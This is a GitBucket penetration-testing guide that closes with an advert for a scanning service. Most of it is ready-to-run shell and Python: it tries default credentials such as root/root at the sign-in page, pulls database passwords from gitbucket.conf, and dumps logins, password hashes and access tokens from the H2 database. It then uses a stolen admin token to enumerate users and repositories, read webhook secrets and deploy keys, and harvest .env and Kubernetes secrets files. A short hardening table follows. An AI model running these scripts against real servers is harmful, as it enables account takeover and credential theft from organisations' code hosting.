GitBucket Security Testing: Default Credentials, API Token, Database, and Git

GitBucket is a self-hosted GitHub-compatible Git platform built on Scala/JVM — organizations use it as a lightweight alternative to Gitea or self-hosted GitLab. Key assessment areas: the root account defaults to root/root; gitbucket.conf exposes external database credentials when configured; the H2 embedded database file contains all user data and access tokens; the GitHub-compatible REST API v3 uses personal access tokens with no expiration by default; and repositories frequently contain CI/CD secrets committed to configuration files. This guide covers systematic GitBucket security assessment.

Table of Contents

  1. gitbucket.conf Database Credential and H2 File Extraction
  2. REST API v3 Token Enumeration and Repository Access
  3. Deploy Key and Webhook Secret Assessment
  4. GitBucket Security Hardening

gitbucket.conf Database Credential and H2 File Extraction

# GitBucket — gitbucket.conf credential and H2 database extraction
GB_URL="https://git.example.com"

# Test default root credentials
for CRED in "root:root" "admin:admin" "root:gitbucket" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${GB_URL}/signin" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "userName=${USER}&password=${PASS}" \
    -c /tmp/gb_cookies -b /tmp/gb_cookies 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
  # 302 redirecting to / = successful login
done

# gitbucket.conf — external database configuration
cat ~/.gitbucket/gitbucket.conf 2>/dev/null
# db.url=jdbc:postgresql://localhost/gitbucket  <-- DB connection URL
# db.user=gitbucket
# db.password=...                               <-- plaintext database password
# oidc.client_secret=...                        <-- OAuth2/OIDC client secret if configured

python3 -c "
content = open('/root/.gitbucket/gitbucket.conf').read()
for line in content.splitlines():
    if any(k in line.lower() for k in ['password', 'secret', 'key', 'url']):
        print(line.strip())
" 2>/dev/null

# H2 embedded database — default GitBucket uses H2 at ~/.gitbucket/data/
ls -la ~/.gitbucket/data/DATABASE.mv.db 2>/dev/null
# This single file contains ALL GitBucket data

# Check for exposed H2 web console
curl -s -o /dev/null -w "%{http_code}" "http://git.example.com:8082/" 2>/dev/null
# 200 = H2 web console accessible unauthenticated

# Access H2 database via command line (with java in PATH)
java -jar /path/to/h2-*.jar -url "jdbc:h2:/root/.gitbucket/data/DATABASE" \
  -user sa -password "" -sql "SELECT login, password FROM account LIMIT 20;" 2>/dev/null

REST API v3 Token Enumeration and Repository Access

# GitBucket REST API v3 — token enumeration and repository access
GB_URL="https://git.example.com"

# GitBucket implements GitHub API v3 at /api/v3/
# Authentication: Authorization: token ACCESS_TOKEN

# With extracted token or Basic auth
TOKEN="extracted-personal-access-token"

# Validate token and get user info
curl -s "${GB_URL}/api/v3/user" \
  -H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'User: {d.get(\"login\")} | Admin: {d.get(\"site_admin\")} | Email: {d.get(\"email\")}')
except: pass
" 2>/dev/null

# List all repositories (admin access)
curl -s "${GB_URL}/api/v3/admin/repos" \
  -H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for r in d[:10]:
        print(f'  {r.get(\"full_name\")}: private={r.get(\"private\")} | {r.get(\"description\",\"\")[:50]}')
except: pass
" 2>/dev/null

# List all users (GitHub API compatible)
curl -s "${GB_URL}/api/v3/admin/users" \
  -H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for u in d[:10]:
        print(f'  {u.get(\"login\")} | admin={u.get(\"site_admin\")}')
except: pass
" 2>/dev/null

# Clone any repository using token
# git clone http://root:TOKEN@git.example.com/org/repo.git
# Or using the API token in the URL:
# git clone http://api:TOKEN@git.example.com/org/repo.git

# Search for secrets in repository content via API
curl -s "${GB_URL}/api/v3/repos/org/repo/contents/.env" \
  -H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys,base64
try:
    d=json.load(sys.stdin)
    content = base64.b64decode(d.get('content','')).decode('utf-8','ignore')
    print(content[:500])
except: pass
" 2>/dev/null

Deploy Key and Webhook Secret Assessment

# GitBucket — deploy key and webhook secret assessment
GB_URL="https://git.example.com"
TOKEN="extracted-admin-token"

# List all deploy keys across repositories
# Deploy keys are SSH keys with read (or write) access to specific repositories
curl -s "${GB_URL}/api/v3/repos/org/repo/keys" \
  -H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for k in d:
        print(f'  Key ID: {k.get(\"id\")} | Title: {k.get(\"title\")} | Read-only: {k.get(\"read_only\")}')
        print(f'  Key: {k.get(\"key\",\"\")[:60]}...')
except: pass
" 2>/dev/null

# List webhooks (may reveal webhook secrets and target URLs)
curl -s "${GB_URL}/api/v3/repos/org/repo/hooks" \
  -H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for h in d:
        config = h.get('config',{})
        print(f'  Hook: {config.get(\"url\")}')
        print(f'  Secret: {config.get(\"secret\",\"[not set]\")}')
        print(f'  Events: {h.get(\"events\")}')
except: pass
" 2>/dev/null

# Extract personal access tokens from H2 database
java -jar /path/to/h2-*.jar \
  -url "jdbc:h2:/root/.gitbucket/data/DATABASE" \
  -user sa -password "" \
  -sql "SELECT a.login, a.password, t.token_id, t.token_name FROM account a LEFT JOIN access_token t ON a.user_name = t.user_name LIMIT 20;" 2>/dev/null

# Repository secret scanning via API — check .env, config files
for REPO in "org/app" "org/backend" "org/deploy"; do
  for FILE in ".env" "config/database.yml" "docker-compose.yml" "kubernetes/secrets.yaml"; do
    CONTENT=$(curl -s "${GB_URL}/api/v3/repos/${REPO}/contents/${FILE}" \
      -H "Authorization: token ${TOKEN}" 2>/dev/null | \
      python3 -c "import json,sys,base64; d=json.load(sys.stdin); print(base64.b64decode(d.get('content','')).decode('utf-8','ignore'))" 2>/dev/null)
    [ -n "$CONTENT" ] && echo "=== ${REPO}/${FILE} ===" && echo "$CONTENT" | grep -iE "password|secret|key|token" | head -5
  done
done

GitBucket Security Hardening

GitBucket Security Hardening Checklist:
Security TestMethodRisk
root/root default credential — full admin accessPOST /signin with root/root — site admin access; all repositories, user management, system settings, plugin installationCritical
H2 DATABASE.mv.db direct file accessRead ~/.gitbucket/data/DATABASE.mv.db — complete platform database; all users, password hashes, access tokens, SSH keys, repository dataCritical
gitbucket.conf db.password extractionRead ~/.gitbucket/gitbucket.conf — PostgreSQL/MySQL database password and optional OIDC client secretHigh
Personal access token extraction and repository cloneH2/PostgreSQL SELECT token_id FROM access_token — permanent API tokens; repository clone, admin operations, SSH key managementHigh
Repository .env and config file secret extractionGET /api/v3/repos/{org}/{repo}/contents/.env — base64-decoded file content; database passwords, API keys, and cloud credentials committed to reposHigh

Automate GitBucket Security Testing

Ironimo tests GitBucket deployments for root/root and admin/admin default credential brute-force at /signin, H2 DATABASE.mv.db file system access assessment, gitbucket.conf db.password and oidc.client_secret extraction, personal access token enumeration from the access_token table, admin API /api/v3/admin/ user and repository enumeration, repository content scanning for committed .env files and secrets across all accessible repos, deploy key enumeration with SSH key extraction, webhook secret disclosure, and H2 web console port 8082 unauthenticated exposure check.

Start free scan